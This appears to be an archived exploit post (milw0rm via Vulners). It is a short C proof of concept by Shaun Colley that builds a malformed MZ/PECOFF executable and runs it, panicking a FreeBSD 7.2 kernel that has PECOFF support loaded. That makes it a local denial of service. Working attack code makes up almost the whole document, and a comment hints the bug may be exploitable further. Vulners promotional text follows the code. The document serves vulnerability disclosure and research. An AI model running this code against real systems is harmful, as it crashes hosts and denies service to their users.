/* pecoff_panic.c
*
* by Shaun Colley, 20 July 2009
*
* this code will panic the freebsd kernel due to a bug in the PECOFF executable loader
* code ('options PECOFF_SUPPORT' in kernel config or `kldload pecoff`)
*
* panic(9) is in vm_fault due to a page fault. the panic seems to be caused in
* generic_bcopy...probably hitting a guard page..maybe exploitable(??) but this is just
* a DoS at the moment :) (ugly code btw)
*
* tested on freebsd 7.2-RELEASE
*
* - shaun
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
int i, fd;
system("rm -rf evilprog.exe; touch evilprog.exe");
fd = open("evilprog.exe", O_WRONLY);
char buf[0x3a+2+0x04+4000];
buf[0] = 'M';
buf[1] = 'Z'; /* magic */
for(i = 2; i<0x3c; i++) buf[i] = 'a';
buf[0x3c] = 0xee;
buf[0x3d] = 0xee;
buf[0x3e] = 0xee;
buf[0x3f] = 0xee;
for(i = 0x40; i<(0x40+4000); i++) buf[i] = 0x61;
write(fd, buf, 0x3a+2+0x04+4000);
close(fd);
system("chmod 700 evilprog.exe");
system("./evilprog.exe"); /* run the dodgy PECOFF binary */
}
// milw0rm.com [2009-07-20]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation